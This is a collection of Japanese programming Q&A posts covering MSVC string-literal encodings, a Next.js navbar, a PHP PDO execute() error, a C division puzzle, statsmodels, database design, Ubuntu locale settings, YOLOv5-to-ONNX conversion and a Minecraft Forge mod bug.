ナロー文字列リテラルは、プレフィックスがなく、二重引用符で区切られ、null で終わる`const char[n]`型の配列です。\n\n> UTF-8 でエンコードされた文字列 \n> UTF-8 でエンコードされた文字列は、u8 プレフィックスが付き、二重引用符で区切られ、null で終わる`const\n> char[n]`型の配列です。\n\n`多文字リテラル`は英語版の記事では`multicharacter\nliteral`であり、Windowsでは`MBCS`に該当すると思われます。`ナロー文字列リテラル`も同様でしょう。 \nそして日本語WindowsではMBCSはCodePage932(いわゆるShiftJIS)として扱われるのでしょう。\n\nなので質問のように、`char c[]`や`std::string\ns1`の初期化をUTF-8で行いたいならば、リテラルの前に`u8`を付ける必要があるのでしょう。\n\n```\n\n char c[] = u8\"ソ\";\n std::string s1 = u8\"ソ\";\n \n```\n\n* * *\n\nなお、プロジェクトのプロパティでUNICODEかMBCSかを決める場合は、`char`そのものを使うのではなく、`TCHAR`や`_TCHAR`に関連する型・マクロ・関数を使うことで実現されています。 \n[_MBCSでの tchar.h データ型の使用](https://learn.microsoft.com/ja-jp/cpp/c-runtime-\nlibrary/using-tchar-h-data-types-with-mbcs?view=msvc-170) \n[汎用テキストのプログラム例](https://learn.microsoft.com/ja-jp/cpp/c-runtime-\nlibrary/a-sample-generic-text-program?view=msvc-170)",
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"body": "MSVCには、[ソースコードのエンコーディング](https://learn.microsoft.com/ja-\njp/cpp/build/reference/source-charset-set-source-character-\nset?view=msvc-170)(`/source-charset`)と、 \n[実行時の文字エンコーディング](https://learn.microsoft.com/ja-\njp/cpp/build/reference/execution-charset-set-execution-character-\nset?view=msvc-170)(`/execution-charset`)があります。 \n`/utf-8`オプションも`/execution-\ncharset`オプションも付けていなければ、実行時の文字エンコーディングはCP932(≒Shift_JIS)のはずです。\n\n> バイト順マークが見つからない場合は、/source-charset オプションまたは /utf-8 オプションを使用して文字セット名またはコード\n> ページを指定していない限り、現在のユーザー コード ページでソース ファイルがエンコードされていると想定されます。\n\nとあるので、ソースコードにBOMが付いていればソースコードはUTF-8と解釈され、実行時の文字エンコーディングはCP932なので`ソ`は`83\n5C`となります。\n\nソースコードにBOMが付いてなければCP932して扱われ、エディターで`ソ`に見えているものはコンパイラーにとっては(無理やり解釈して)CP932の`繧ｽ`として扱われ、実行時のエンコーディングもCP932なので多文字リテラルとしてそのまま`繧ｽ`(`E3\n82 BD`)というバイト列にエンコーディングされています。",
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{
"body": "ソースコードの文字コードとコンパイル後の実行バイナリ上でのプリフィックスの無い文字列リテラルの文字コードは無関係に決定します。\n\nまず、ソースコードの文字コードは、オプションで指定しない限り、ソースコードの先頭にあるバイト列によって変わります。\n\n * [`/source-charset`オプション](https://learn.microsoft.com/ja-jp/cpp/build/reference/source-charset-set-source-character-set?view=msvc-170)が設定されている場合は、指定の文字コードとして解釈されます。\n * オプションが無く、先頭にUTF-8やUTF-16のBOM(U+FEFF)で始まる場合は、BOM付きUTF-8、BOM付きUTF-16 BE、BOM付きUTF-16 BEとして解釈されます。(UTF-32も対応しているかは不明)\n * オプションが無く、先頭にUTF-8やUTF-16のBOM(U+FEFF)で始まらない場合は、その実行環境のシステムロケールで設定されたエンコード(日本語の場合はShfit_JISの亜種であるCP932(Windows-31J))として解釈されます。\n\nたとえば、BOM無しのUTF-8の場合、日本語環境ではShift_JISとして解釈しようとします。UTF-8の\"ソ\"(U+30BD)は、[E3 82\nBD]のバイト列になりますが、これをShfit_JISとみなすので、\"繧\"(E382)と\"ｽ\"(BD)になります。これが、「ファイルをUTF-8(BOM無し)で保存して」の時に文字化けした文字が出ている理由です。\n\n対して、コンパイル後の実行バイナリ上のプリフィックスの無い文字列リテラルの文字コードは、次のようになります。\n\n * [`/execution-charset`オプション](https://learn.microsoft.com/ja-jp/cpp/build/reference/execution-charset-set-execution-character-set?view=msvc-170)※が設定されている場合は、指定の文字コードになります。\n * オプションが無い場合は、その実行環境のシステムロケールで設定された文字コード(日本語の場合はShfit_JISの亜種であるCP932(Windows-31J))になります。\n\n※ リンク先の説明の二段目は`/source-charset`の説明のコピペのようで、`/execution-\ncharset`についての既定の動作の説明が抜けているようです。\n\nなお、[`/utf-8`オプション](https://learn.microsoft.com/ja-\njp/cpp/build/reference/utf-8-set-source-and-executable-character-sets-to-\nutf-8?view=msvc-170)は上記の両方のオプションでUTF-8を指定するショートカットです。\n\nということで、BOM付きUTF-8であっても、\"ソ\"(U+30BD)は、実行バイナリ上はCP932の表現である[83\n5C]になります。もし、`/execution-charset:utf-8`をつければ、ソースコードがCP932であっても[E3 82 BD]になります。\n\nなお、プリフィックスが付いた文字列リテラルについてはまた違う動作になるので、それについてはkunifさんの回答を参考にしてください。",
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"body": "```\n\n \"use client\" // this is a client component\n import React from \"react\"\n import { useState } from \"react\"\n import { Link } from \"react-scroll/modules\"\n import { usePathname } from \"next/navigation\"\n import { useTheme } from \"next-themes\"\n import { RiMoonFill, RiSunLine } from \"react-icons/ri\"\n import { IoMdMenu, IoMdClose } from \"react-icons/io\"\n \n interface NavItem {\n label: string\n page: string\n }\n \n const NAV_ITEMS: Array<NavItem> = [\n {\n label: \"Home\",\n page: \"home\",\n },\n {\n label: \"About\",\n page: \"about\",\n },\n {\n label: \"Projects\",\n page: \"projects\",\n },\n {\n label:\"Contact\",\n page:\"contact\",\n }\n ]\n \n export default function Navbar() {\n const { systemTheme, theme, setTheme } = useTheme()\n const currentTheme = theme === \"system\" ? systemTheme : theme\n const pathname = usePathname()\n const [navbar, setNavbar] = useState(false)\n return (\n <header className=\"w-full mx-auto px-4 sm:px-20 fixed top-0 z-50 shadow dark:bg-stone-900 dark:border-b dark:border-stone-600 bg-white\">\n <div className=\"justify-between md:items-center md:flex\">\n <div>\n <div className=\"flex items-center justify-between py-3 md:py-5 md:block\">\n <Link to=\"home\">\n <div className=\"container flex items-center space-x-2\">\n <h2 className=\"text-2xl font-bold\">Kaiot Hori</h2>\n </div>\n </Link>\n <div className=\"md:hidden\">\n <button\n className=\"p-2 text-gray-700 rounded-md outline-none focus:border-gray-400 focus:border\"\n onClick={() => setNavbar(!navbar)}\n >\n {navbar ? <IoMdClose size={30} /> : <IoMdMenu size={30} />}\n </button>\n </div>\n </div>\n </div>\n \n <div>\n <div\n className={`flex-1 justify-self-center pb-3 mt-8 md:block md:pb-0 md:mt-0 ${\n navbar ? \"block\" : \"hidden\"\n }`}\n >\n <div className=\"items-center justify-center space-y-8 md:flex md:space-x-6 md:space-y-0\">\n {NAV_ITEMS.map((item, idx) => {\n return (\n <Link\n key={idx}\n to={item.page}\n className={\n \"block lg:inline-block text-neutral-900 hover:text-neutral-500\"\n }\n activeClass=\"active\"\n spy={true}\n smooth={true}\n offset={-100}\n duration={500}\n onClick={() => setNavbar(!navbar)}\n >\n {item.label}\n </Link>\n )\n })}\n {currentTheme === \"dark\" ? (\n <button\n onClick={() => setTheme(\"light\")}\n className=\"bg-slate-100 p-2 rounded-xl\"\n >\n <RiSunLine size={25} color=\"black\" />\n </button>\n ) : (\n <button\n onClick={() => setTheme(\"dark\")}\n className=\"bg-slate-100 p-2 rounded-xl\"\n >\n <RiMoonFill size={25} color=\"black\" />\n </button>\n )}\n </div>\n </div>\n </div>\n </div>\n </header>\n )\n }\n \n```",
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"title": "ダークモードのスタイルが反映されない",
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"body": "PHPで、MYSQLへUPDATEするソースを書いていますが、エラーになります。 \nエラー内容は下記です。\n\n```\n\n Fatal error: Uncaught ArgumentCountError: PDOStatement::execute() expects at most 1 argument, 7 given in C:\\xampp\\htdocs\\Portfolio\\user_update_commit.php:30 Stack trace: #0 C:\\xampp\\htdocs\\Portfolio\\user_update_commit.php(30): PDOStatement->execute('\\xE5\\xB1\\xB1\\xE7\\x94\\xB0', '\\xE5\\x8F\\x8B\\xE9\\x87\\x8C', '\\xE3\\x83\\xA4\\xE3\\x83\\x9E\\xE3\\x83\\x80', '\\xE3\\x83\\xA6\\xE3\\x83\\xAA', 'yuri', 'yuririn1969', '1') #1 {main} thrown in C:\\xampp\\htdocs\\Portfolio\\user_update_commit.php on line 30\n \n```\n\nエラーを見ると、引数が不足しているようですが、下記のようにvar_dumpしたところ、想定通りの値が出力されます。\n\n```\n\n var_dump($_REQUEST['sei']);\n var_dump($_REQUEST['mei']);\n var_dump($_REQUEST['sei_kana']);\n var_dump($_REQUEST['mei_kana']);\n var_dump($_REQUEST['user']);\n var_dump($_REQUEST['password']);\n var_dump($_REQUEST['seq']);\n \n```\n\n何が原因か不明なため、ご教示いただけないでしょうか。\n\n```\n\n <?php\n \n try{\n require_once('db_connect.php');\n $sql=$pdo->prepare('update user_table set last_name=?, first_name=?, last_name_kana=?, first_name_kana=?, user=?, password=? where id=? ');\n if(empty($_REQUEST['sei']) || empty($_REQUEST['mei']) || empty($_REQUEST['sei_kana']) || empty($_REQUEST['mei_kana']) || empty($_REQUEST['user']) || empty($_REQUEST['password']))\n {\n echo '未入力の項目があります。';\n }\n else if(!preg_match('/\\A[ァ-ヴー]+\\z/u', $_REQUEST['sei_kana']) || !preg_match('/\\A[ァ-ヴー]+\\z/u', $_REQUEST['mei_kana']))\n {\n echo 'カナ名は全角カナで入力してください。';\n }\n else if(!preg_match('/\\A[a-zA-Z0-9!-\\/:-@[-`{-~]+\\z/u', $_REQUEST['user']))\n {\n echo 'ユーザーは半角英数字記号で入力します';\n }\n else if(!preg_match('/\\A[a-zA-Z0-9!-\\/:-@[-`{-~]{10,}\\z/u', $_REQUEST['password']))\n {\n echo 'パスワードは半角英数字記号10文字以上で入力します。';\n }\n else if(!preg_match('/\\A[a-zA-Z0-9!-\\/:-@[-`{-~]{10,}\\z/u', $_REQUEST['password2']))\n {\n echo 'パスワードは半角英数字記号10文字以上で入力します。';\n }\n else if($_REQUEST['password'] !== $_REQUEST['password2'])\n {\n echo '2つのパスワードが一致してません。';\n }\n else if($sql->execute(\n htmlspecialchars($_REQUEST['sei'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['mei'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['sei_kana'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['mei_kana'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['user'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['password'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['seq'],ENT_QUOTES | ENT_HTML5,'UTF-8')))\n {\n echo '更新に成功しました。';\n }\n else {\n echo '更新に失敗しました。';\n }}\n catch(PDOException $e)\n {\n echo \"次がエラーの内容です。;\" .$e->getMessage();\n }\n ?>\n \n```",
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"title": "PHPで、MYSQLへのUPDATEでエラー",
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{
"body": "> 引数が不足しているようですが、\n\n`PDOStatement::execute() expects at most 1 argument, 7 given` =\n「1引数を期待しているのに7個も渡された」（意訳）とある通り、引数が不足しているのではなく過剰に渡しています。\n\n実際に、PHPの関数マニュアルにある[PDOStatement::executeのページ](https://www.php.net/manual/ja/pdostatement.execute.php)を確認してみましょう。 \nこのメソッドが求めているのは、プリペアドステートメントに対して「バインドパラメータと同数の要素からなる値の配列」となっています。 \nそれに対して、実際のコードではパラメータの分だけそれぞれ別の引数として渡しています。\n\nそのため、配列1個のみの要求に対してパラメータ数の7個分の引数を指定しまっているため、実際のエラー原因となっています。\n\n## 対応例\n\nこのコードの状態を前提としてピンポイントな対処を考えると、単純に渡したい値をまるごと一つの配列としてあげればエラー自体は解消されると思います。\n\n（元コードから整形して抜粋）\n\n```\n\n $sql->execute(\n htmlspecialchars($_REQUEST['sei'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['mei'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['sei_kana'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['mei_kana'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['user'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['password'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['seq'],ENT_QUOTES | ENT_HTML5,'UTF-8')\n )\n \n```\n\n↓ \n「7個の引数」を配列としてひとまとめにして「1個の引数」に変える。 \n↓\n\n```\n\n $sql->execute(\n [\n htmlspecialchars($_REQUEST['sei'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['mei'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['sei_kana'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['mei_kana'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['user'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['password'],ENT_QUOTES | ENT_HTML5,'UTF-8'),\n htmlspecialchars($_REQUEST['seq'],ENT_QUOTES | ENT_HTML5,'UTF-8')\n ]\n )\n \n```",
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"body": "大学で1000000÷65536の整数商と余りを計算，表示するプログラムをC言語で作るという課題が出ました．ただし，除算記号‘/’，モジュロ演算子’%’の使用，各種ライブラリ関数の使用が禁止です．ループ構造も使用禁止，ついでに加算，減算記号．ビットシフト‘<<‘，‘>>‘も禁止．もちろん，あらかじめ計算しておいて，その結果だけ表示するのも禁止です．各種ライブラリ関数の例外として，表示用のprintf関数は使用できます．回答よろしくお願いいたします．\n\n**実行例:**\n\n```\n\n > ./a.out\n 1000000/65536=15...16960\n \n```",
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"title": "C言語で1000000÷65536の整数商と余りを計算，表示するプログラムを本文の条件で作りたいです．",
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"body": "```\n\n #include <stdio.h>\n \n int main() {\n int a = 1000000 & ~65535;\n short *b = (short *)&a;\n printf(\"1000000/65536=%d...%d\\n\", b[0] ? b[0] : b[1], 1000000 & 65535);\n }\n \n```",
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{
"body": "まず前提としてプログラミング言語 C には言語仕様上で未規定としている項目がかなりたくさんあります。\nコンピュータには様々な設計がありうるため、それらの都合に合わせられるように言語の側で細部を決めていない部分があるのです。\n\n課題の意図はその課題が提示された文脈から読み取らないといけないでしょう。\n\nコンピュータアーキテクチャについての文脈であった場合は (言語仕様として保証していなくても)\n対象のコンピュータの特性を利用することを意図しているでしょうし、プログラミング言語の文脈では言語仕様の細部を読む訓練なのかもしれません。\n\nコンピュータの特性に頼る事例は metropolis 氏が提示しており、境界調整やエンディアンについて特性を活用しています。\n逆に言えばコンピュータの特性によっては意図した結果になりません。\n\n言語仕様で保証している範囲に厳密 (なつもり) な例を私は考えてみました。\n\n```\n\n #include <stdio.h>\n \n int main(void) {\n long foo = 1000000;\n \n printf(\"1000000/65536=%d...%ld\\n\",\n (foo & 65536 ? 1 : 0) \n | (foo & 131072 ? 2 : 0) \n | (foo & 262144 ? 4 : 0) \n | (foo & 524288 ? 8 : 0) \n | (foo & 1048576 ? 16 : 0) \n | (foo & 2097152 ? 32 : 0)\n | (foo & 4194304 ? 64 : 0)\n | (foo & 8388608 ? 128 : 0),\n foo & 65535);\n }\n \n```",
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"body": "時系列データ分析のstatsmodelsに関する質問です。\n\n以下のコードを実行したところ、エラーが出てしまいました。\n\nsigma引数が使用できるようなstatsmodelsのバージョンを教えていただけないでしょうか。 \n使用しているPythonのバージョンは3.10.11、statsmodelsのバージョンは0.13.5になります。\n\nよろしくお願いいたします。\n\n**エラーメッセージ:**\n\n```\n\n TypeError Traceback (most recent call last)\n Cell In[2], line 12\n 8 dist = lambda n: np.random.randn(n) # 正規分布, 引数 n はダミー\n 9 #dist = lambda n: np.random.standard_t(3, size=n) # t 分布\n 10 \n 11 # 知りたい信号成分\n ---> 12 sig0_all = arma_generate_sample(ar, ma, nobs_all, sigma=1, distrvs=dist, burnin=500)\n 14 # トレンドの信号（1次式型）\n 15 coef_a, coef_b = 0.05, 4\n \n TypeError: arma_generate_sample() got an unexpected keyword argument 'sigma'\n \n```\n\n**ソースコード:**\n\n```\n\n import numpy as np\n import pandas as pd\n \n import matplotlib.pyplot as plt\n %matplotlib inline\n \n import statsmodels.api as sm\n from statsmodels.tsa.arima_process import arma_generate_sample\n from statsmodels.tsa.arima_model import ARMA, ARIMA\n \n from scipy import stats\n \n np.random.seed(123)\n FLAG_fig = False\n \n ar = [1, -1.5, 0.7]\n ma = [1.0, 0.6]\n \n nobs = 1000\n nobs_test = 100\n nobs_all = nobs + nobs_test\n \n dist = lambda n: np.random.randn(n) # 正規分布, 引数 n はダミー\n #dist = lambda n: np.random.standard_t(3, size=n) # t 分布\n \n # 知りたい信号成分\n sig0_all = arma_generate_sample(ar, ma, nobs_all, sigma=1, distrvs=dist, burnin=500)\n \n # トレンドの信号（1次式型）\n coef_a, coef_b = 0.05, 4\n trend0_all = coef_a*np.arange(len(sig0_all)) + coef_b\n \n # 出力信号（トレーニングデータ＋テストデータ）\n y0_all = sig0_all + trend0_all\n \n index = pd.date_range('1/1/2000', periods=nobs_all, freq='D')\n y_all = pd.Series(y0_all, index=index)\n \n #信号だけのデータを作成\n sig_all = pd.Series(sig0_all, index=index)\n \n y = y_all[:nobs] #観測データはｙ\n y_test = y_all[nobs:] #予測精度を見るためのテストデータはy_test\n \n y.tail(5)\n \n y.plot(color='b')\n y_test.plot(color='c')\n \n if FLAG_fig: plt.savefig('fig_ARIMA_ident_signal_trend.png')\n plt.show()\n \n```",
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"title": "時系列分析のstatsmodels でエラー TypeError: arma_generate_sample() got an unexpected keyword argument 'sigma'",
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{
"body": "お望みの結果かどうかはわかりませんが、何点かコードを修正して結果が得られました。\n\nmetropolisさんのコメントどおり、sigmaをscaleに変えて実行してみました。\n\n```\n\n sig0_all = arma_generate_sample(ar, ma, nobs_all, sigma=1, distrvs=dist, burnin=500)\n \n```\n\n↓\n\n```\n\n sig0_all = arma_generate_sample(ar, ma, nobs_all, scale=1, distrvs=dist, burnin=500)\n \n```\n\nエラーが発生したため、以下のとおり変更しました。\n\n```\n\n dist = lambda n: np.random.randn(n) # 正規分布, 引数 n はダミー\n \n```\n\n↓\n\n```\n\n dist = lambda size: np.random.normal(loc=0, scale=1, size=size) \n \n```\n\n以上の変更により結果がでました。 \nどうしてエラーが出たのか原因はわかっていません。\n\nmetropolisさんの、私の回答へのコメントのとおり↓修正して実行したところ同様に結果が出ました。\n\n```\n\n dist = lambda size=None: np.random.randn(*size)\n \n```\n\n* * *\n\n確認にしようしたバージョン \nPython 3.10.12 \nstatsmodels 0.13.5\n\n【実行結果】\n\n[](https://i.stack.imgur.com/QhUyG.png)\n\n【発生したエラー】\n\n* * *\n```\n\n TypeError Traceback (most recent call last)\n <ipython-input-5-8ba787bd6d92> in <cell line: 27>()\n 25 \n 26 # 知りたい信号成分\n ---> 27 sig0_all = arma_generate_sample(ar, ma, nobs_all, scale=1, distrvs=dist, burnin=500)\n 28 \n 29 # トレンドの信号（1次式型）\n \n /usr/local/lib/python3.10/dist-packages/statsmodels/tsa/arima_process.py in arma_generate_sample(ar, ma, nsample, scale, distrvs, axis, burnin)\n 116 newsize = tuple(nsample)\n 117 fslice = tuple([slice(None)] * np.ndim(newsize))\n --> 118 eta = scale * distrvs(size=newsize)\n 119 return signal.lfilter(ma, ar, eta, axis=axis)[fslice]\n 120 \n \n```",
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"body": "Webアプリケーションで機能追加に伴い、RDB（拘りはないですが一旦MySQL）の既存のテーブルに新しい情報を持たせたいとします。 \nその時に、既存のテーブルにカラムを追加するか、それとも既存のテーブルと1対1の関係でテーブルを追加するかの判断基準を知りたいです。\n\n例えば、ブログアプリでブログ記事に対応するpostsテーブルがあり、予約投稿ができる機能を追加するとします。 \nこの時、以下の選択肢があり、それぞれメリット・デメリットがあると思います。\n\n 1. postsテーブルに予約投稿日時のscheduled_atカラムを追加する\n 2. postsテーブルと1対1の関係のpost_schedulesテーブルを作成する \n * post_schedulesテーブルはpost_id, scheduled_atカラムを持つ\n\n思いついたものでは、以下の2点です。\n\n * カラム追加はテーブルのロックが伴うため、既にpostsテーブルに大量のレコードがあってロックが長時間になる場合はユーザ影響を考慮すべき。\n * scheduled_atは値がない（予約投稿をしない場合）ことがあるため、NULLになりうるカラム追加ではなくテーブル作成の方が良い \n * NULL許容のカラムは作らない方がいい、という前提です（一般的な考えだと思っています）。\n\n他に判断基準となる考え方はあるでしょうか？ご教示いただけますと幸いです。",
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"title": "RDBにおけるカラム追加と1対1でテーブル作成する判断基準について",
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"body": "すでにシステムが稼働している前提なので、実装上の都合で考えているようですが、本来の考え方としては \n予約投稿は投稿の一形態と考えるか、普通の投稿とは別物として考えるか \nじゃないでしょうか",
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"body": "ご質問の観点の通りの判断基準で、おおむね間違っていないと思います。\n\n個人的な感覚では、稼働中のシステムを停止することなく作業するならば、従属テーブル作成一択です。 \nもしもカラム追加作業が原因で本番環境のSQLがエラーになったり、ユーザの更新処理とカラム追加処理がぶつかってデッドロックで永遠に帰らぬSQLになったり、本番環境に限ってインデックスがうまく評価されずに既存のSQLが非常に遅くなったりするリスクを考えると、よほどテストやロールバックを含めた作業手順がしっかりしていない限り怖くてできません。 \n(当然の感覚でブルーグリーンデプロイメントができる環境の方は「何言ってんの？」となるのでしょうけれど…)\n\n上記のリスクのほかに付け加えるならば、下記の観点もあるでしょう。\n\n * レコードが 1..n に設計変更される可能性が低くないならば別テーブルが良い \n予約投稿が論理削除されて履歴を持つケースは少ないかもしれませんが、テーブルカラム追加した場合には拡張が面倒です。\n\n * 高速な検索が必要なカラムならば別テーブルにすべき \nアプリケーションサーバの投稿判定で1分ごとに予約投稿日時をチェックするならば、予約投稿日時カラムはNULLを含まずインデックスを効かせるべきです。 \nそして投稿判定時に過去データは不要なので、定期バッチ処理で過去データを退避したくなるかもしれません。メインテーブル一つではこれらの対応ができません。\n\n * どう考えても従属しないカラムならばテーブルカラム追加が必要 \n例えば`氏名`カラムがあって`氏名カナ`カラムがない時や、`社員番号`カラムを主キーにしていたけれど破綻して`ID`カラムを主キーとして作らなければいけない時はテーブルカラムを追加すべきです。",
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"body": "表題にある通りlocaleを日本語表記に切り替えたいと思い、いつものように \n`localectl set-locale LANG=ja_JP.UTF-8` を実行しました。 \n一度ログアウトしてログインしてみるとまたlocaleがPOSIXに戻ってしまいます。 \nlocalectlはちゃんと変わっていて \nSystem Locale: LANG=ja_JP.UTF-8となっているのですがlocaleはPOSIXのまま。 \nこれはどこを書き換えてしまったのでしょうか？今のところ.bashrcに \nexport LANG=ja_JP.UTF-8 \nとして急場を凌いでいますが謎なんです。書き変わらない理由を教えて頂けないでしょうか。",
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"title": "Ubuntu 22.04 で locale の設定変更が意図した通り反映されない",
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"body": "```\n\n sudo update-locale LANG=ja_JP.UTF8\n \n```\n\nを実行してみてはいかがでしょうか。 \n私はこの手順以外をしらないので、localectlでできない理由は分かりません。 \nこちらの環境は`VERSION=\"22.04.2 LTS (Jammy Jellyfish)\"`です。\n\n* * *\n\n設定が変わらない場合、以下のファイルなど、環境変数を上書きしていないか調べてみることをお勧めします。\n\n * /etc/bash.bashrc\n * /etc/profile\n * ~/.bashrc\n * ~/.profile",
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"body": "こんにちは。Yolov5で作成した.ptファイルをOpenCVで使うために.onnxファイルに変換したいです。\n\n```\n\n import torch\n \n # モデルを読み込む\n model = torch.load('best.pt')\n model.eval() # 推論モードに設定\n \n import torch.onnx as onnx\n \n # 入力テンソルの例を作成（必要に応じて適切な形状とデータ型を指定してください）\n example_input = torch.randn(1, 3, 224, 224)\n \n # ONNX形式に変換\n onnx_model_path = 'best.onnx'\n torch.onnx.export(model, example_input, onnx_model_path, verbose=True)\n \n```\n\n以前はこのコードでできたはずなのですが、\n\n```\n\n ModuleNotFoundError: No module named 'models.yolo'\n \n```\n\nと出ます。バージョンが変わったからかなと思って試したのですが、うまくいきません。 \n同じようなエラーで困っている方、解決方法をご存じの方は、教えていただければ幸いです。よろしくお願いします。",
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"title": "ptファイルからonnxファイルに変換できません！",
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"body": "環境 \nos win10 \nide eclipse \nforge1.19.2\n\n以下のチュートリアルを実践中どうしても解決できないバグに会いました \n<https://moddingtutorials.org/1.19.2/basic-blocks> \nそれ以前のアイテムの追加は正常にできましたがブロックを追加するコードを追加したところこれまで正常に表示されていたアイテムふくめすべてのテクスチャが反映されなくなりました\nブロックの設置や耐久カスタムクラスによる特殊効果は正常に機能します \nもう一度別のプロジェクトを立ち上げやり直したところ今度はブロックのテクスチャが反映され\n練習のためもう一種類ブロックを追加しようとしたところ同じバグに会いました ブロック関係のコードやファイルを完全に削除してもこのエラーは継続します\n\n以下はブロック関係を削除したコードですが載せておきます \nコードメインクラス\n\n```\n\n package com.example.simplemod;\n \n //import com.example.simplemod.init.BlockInit;\n import com.example.simplemod.init.ITMEinit;\n import com.mojang.logging.LogUtils;\n import net.minecraft.client.Minecraft;\n import net.minecraft.world.item.BlockItem;\n import net.minecraft.world.item.CreativeModeTab;\n import net.minecraft.world.item.Item;\n import net.minecraft.world.level.block.Block;\n import net.minecraft.world.level.block.Blocks;\n import net.minecraft.world.level.block.state.BlockBehaviour;\n import net.minecraft.world.level.material.Material;\n import net.minecraftforge.api.distmarker.Dist;\n import net.minecraftforge.common.MinecraftForge;\n import net.minecraftforge.eventbus.api.IEventBus;\n import net.minecraftforge.eventbus.api.SubscribeEvent;\n import net.minecraftforge.fml.InterModComms;\n import net.minecraftforge.fml.common.Mod;\n import net.minecraftforge.fml.event.lifecycle.FMLClientSetupEvent;\n import net.minecraftforge.fml.event.lifecycle.FMLCommonSetupEvent;\n import net.minecraftforge.fml.event.lifecycle.InterModEnqueueEvent;\n import net.minecraftforge.fml.event.lifecycle.InterModProcessEvent;\n import net.minecraftforge.event.server.ServerStartingEvent;\n import net.minecraftforge.fml.javafmlmod.FMLJavaModLoadingContext;\n import net.minecraftforge.registries.DeferredRegister;\n import net.minecraftforge.registries.ForgeRegistries;\n import net.minecraftforge.registries.RegistryObject;\n import org.slf4j.Logger;\n \n // The value here should match an entry in the META-INF/mods.toml file\n @Mod(SimpleModmain.MODID)\n public class SimpleModmain\n {\n \n \n // Define mod id in a common place for everything to reference\n public static final String MODID = \"simplemod\";\n // Directly reference a slf4j logger\n private static final Logger LOGGER = LogUtils.getLogger();\n \n public SimpleModmain() {\n final IEventBus modEventBus = FMLJavaModLoadingContext.get().getModEventBus();\n \n modEventBus.addListener(this::setup);\n ITMEinit.ITEMS.register(modEventBus);\n //BlockInit.BLOCKS.register(modEventBus);\n MinecraftForge.EVENT_BUS.register(this);\n }\n \n private void setup(final FMLCommonSetupEvent event) {\n \n }\n }\n \n```\n\nアイテム追加クラス\n\n```\n\n package com.example.simplemod.init;\n import com.mojang.logging.LogUtils;\n import com.example.simplemod.SimpleModmain;\n \n import item.SpeedUp;\n import item.TeleportStaff;\n import net.minecraft.client.Minecraft;\n import net.minecraft.world.effect.MobEffectInstance;\n import net.minecraft.world.effect.MobEffects;\n import net.minecraft.world.food.FoodProperties;\n import net.minecraft.world.item.BlockItem;\n import net.minecraft.world.item.CreativeModeTab;\n import net.minecraft.world.item.Item;\n import net.minecraft.world.item.ItemStack;\n import net.minecraft.world.level.block.Block;\n import net.minecraft.world.level.block.Blocks;\n import net.minecraft.world.level.block.state.BlockBehaviour;\n import net.minecraft.world.level.material.Material;\n import net.minecraftforge.api.distmarker.Dist;\n import net.minecraftforge.common.MinecraftForge;\n import net.minecraftforge.eventbus.api.IEventBus;\n import net.minecraftforge.eventbus.api.SubscribeEvent;\n import net.minecraftforge.fml.InterModComms;\n import net.minecraftforge.fml.common.Mod;\n import net.minecraftforge.fml.event.lifecycle.FMLClientSetupEvent;\n import net.minecraftforge.fml.event.lifecycle.FMLCommonSetupEvent;\n import net.minecraftforge.fml.event.lifecycle.InterModEnqueueEvent;\n import net.minecraftforge.fml.event.lifecycle.InterModProcessEvent;\n import net.minecraftforge.event.server.ServerStartingEvent;\n import net.minecraftforge.fml.javafmlmod.FMLJavaModLoadingContext;\n import net.minecraftforge.registries.DeferredRegister;\n import net.minecraftforge.registries.ForgeRegistries;\n import net.minecraftforge.registries.RegistryObject;\n import org.slf4j.Logger;\n import org.slf4j.LoggerFactory;\n \n public class ITMEinit {\n public static final DeferredRegister<Item> ITEMS = \n DeferredRegister.create(ForgeRegistries.ITEMS, SimpleModmain.MODID);\n \n //アイテムを追加していきます\n \n // 基本形アイテム\n public static final RegistryObject<Item> oringe_item = ITEMS.register(\"oringe\",\n () -> new Item(new Item.Properties().tab(ModCreativeTab.instance)));\n \n //人肉\n public static final RegistryObject<Item> humun_meat = ITEMS.register(\"humun_meat\",\n () -> new Item(new Item.Properties().tab(ModCreativeTab.instance)\n .food(new FoodProperties.Builder()\n .nutrition(4).saturationMod(5)\n .effect(() -> new MobEffectInstance(MobEffects.FIRE_RESISTANCE, 200, 0), 0.5F)\n .build())\n )\n );\n //燃料 スーパー石炭\n public static final RegistryObject<Item> super_fuel = ITEMS.register(\"super_fuel\",\n () -> new Item(new Item.Properties().tab(ModCreativeTab.instance)));\n \n //テレポートアイテム\n public static final RegistryObject<Item> my_teleport = ITEMS.register(\"my_teleport\",\n () -> new TeleportStaff(new Item.Properties().tab(ModCreativeTab.instance)));\n \n //スピードアップ\n public static final RegistryObject<Item> speed_tip = ITEMS.register(\"speed_tip\",\n () -> new SpeedUp(new Item.Properties().tab(ModCreativeTab.instance)));\n \n public static class ModCreativeTab extends CreativeModeTab {\n public static final ModCreativeTab instance = new ModCreativeTab(CreativeModeTab.TABS.length, \"firstmod\");\n private ModCreativeTab(int index, String label) {\n super(index, label);\n }\n \n \n @Override\n public ItemStack makeIcon() {\n return new ItemStack(oringe_item.get());\n }\n }\n }\n \n```\n\nバグとログ 一部文字数制限のため省略しています\n\n```\n\n 2023-06-18 